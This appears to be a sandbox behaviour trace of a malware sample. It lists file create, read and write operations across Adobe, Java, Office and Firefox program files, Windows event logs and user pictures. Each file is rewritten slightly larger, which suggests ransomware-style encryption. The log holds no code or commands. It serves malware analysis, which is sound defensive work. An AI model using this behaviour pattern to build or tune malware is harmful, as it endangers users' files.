File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\DefaultID.pdf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\DefaultID.pdf, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\DefaultID.pdf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\DefaultID.pdf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\DefaultID.pdf, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\ENUtxt.pdf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\ENUtxt.pdf, size = 7582, size_out = 7582	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\ENUtxt.pdf, size = 8998	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\edit_pdf_poster.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\edit_pdf_poster.jpg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\edit_pdf_poster.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\edit_pdf_poster.jpg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\redact_poster2x.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\redact_poster2x.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\redact_poster2x.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\redact_poster2x.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\redact_poster2x.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\optimize_poster2x.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\optimize_poster2x.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\optimize_poster2x.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\optimize_poster2x.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\optimize_poster2x.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\4nSkn.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\4nSkn.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\4nSkn.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\4nSkn.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\4nSkn.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\h5VAwW1b0gH3jYX9oE4.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\h5VAwW1b0gH3jYX9oE4.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\h5VAwW1b0gH3jYX9oE4.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\h5VAwW1b0gH3jYX9oE4.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\h5VAwW1b0gH3jYX9oE4.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\netfx_Core.mzz, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 61440, size_out = 61440	35	Fn Data
File	Read	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 61440	1	Fn
File	Read	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 61440, size_out = 61440	101	Fn Data
File	Read	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 16384, size_out = 16384	1	Fn Data
System	Sleep	duration = 0 milliseconds (0.000 seconds)	1	Fn
File	Write	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 17800	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 61440	136	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core.mzz, size = 32768	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\SetupUtility.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\588bce7c90097ed212\SetupUtility.exe, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\SetupUtility.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SetupUtility.exe, size = 5512	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SetupUtility.exe, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx, size = 9608	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx, size = 61440	2	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx, size = 8192	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-DeviceSetupManager%4Admin.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-DeviceSetupManager%4Admin.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-DeviceSetupManager%4Admin.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-DeviceSetupManager%4Admin.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-DeviceSetupManager%4Admin.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-MUI%4Admin.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-MUI%4Admin.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-MUI%4Admin.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-MUI%4Admin.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-MUI%4Admin.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-SettingSync%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-SettingSync%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-SettingSync%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-SettingSync%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-SettingSync%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Store%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Store%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Store%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Store%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Store%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Setup.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Setup.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Setup.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Setup.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Setup.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\javaws.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\javaws.exe, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\javaws.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\javaws.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\javaws.exe, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\rmid.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\rmid.exe, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\rmid.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\rmid.exe, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\amd64\jvm.cfg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\amd64\jvm.cfg, size = 634, size_out = 634	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\amd64\jvm.cfg, size = 2050	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\currency.data, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\currency.data, size = 4122, size_out = 4122	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\currency.data, size = 5538	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_zh_CN.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_zh_CN.properties, size = 4072, size_out = 4072	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_zh_CN.properties, size = 5488	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\dnsns.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\dnsns.jar, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\dnsns.jar, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\dnsns.jar, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\zipfs.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\zipfs.jar, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\zipfs.jar, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\zipfs.jar, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\zipfs.jar, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaTypewriterBold.ttf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaTypewriterBold.ttf, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaTypewriterBold.ttf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaTypewriterBold.ttf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaTypewriterBold.ttf, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_MoveNoDrop32x32.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_MoveNoDrop32x32.gif, size = 153, size_out = 153	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_MoveNoDrop32x32.gif, size = 1569	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\logging.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\logging.properties, size = 2455, size_out = 2455	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\logging.properties, size = 3871	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\psfontj2d.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\psfontj2d.properties, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\psfontj2d.properties, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\psfontj2d.properties, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\US_export_policy.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\US_export_policy.jar, size = 3026, size_out = 3026	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\US_export_policy.jar, size = 4442	1	Fn Data
File	Create	filename = C:\Program Files\Microsoft Office 15\ClientX64\IntegratedOffice.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Microsoft Office 15\ClientX64\IntegratedOffice.exe, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files\Microsoft Office 15\ClientX64\IntegratedOffice.exe, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Microsoft Office 15\ClientX64\IntegratedOffice.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Microsoft Office 15\ClientX64\IntegratedOffice.exe, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files\Microsoft Office 15\ClientX64\IntegratedOffice.exe, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\browser\features\followonsearch@mozilla.com.xpi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\browser\features\followonsearch@mozilla.com.xpi, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\features\followonsearch@mozilla.com.xpi, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\features\followonsearch@mozilla.com.xpi, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\dependentlibs.list, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\dependentlibs.list, size = 494, size_out = 494	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\dependentlibs.list, size = 1910	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\nssdbm3.chk, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\nssdbm3.chk, size = 899, size_out = 899	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\nssdbm3.chk, size = 2315	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\uninstall\shortcuts_log.ini, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\uninstall\shortcuts_log.ini, size = 322, size_out = 322	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\uninstall\shortcuts_log.ini, size = 1738	1	Fn Data
File	Create	filename = C:\Program Files\rempl\Logs\Remediation.002.etl, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\rempl\Logs\Remediation.002.etl, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\rempl\Logs\Remediation.002.etl, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\rempl\Logs\Remediation.002.etl, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\rempl\Logs\Remediation.002.etl, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\da-DK\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\da-DK\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\da-DK\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\da-DK\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\da-DK\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-IE\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-IE\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-IE\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-IE\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-IE\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-ES\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-ES\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-ES\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-ES\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-ES\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-FR\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-FR\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-FR\index.html, size = 4096, size_out = 4096	1	Fn Data
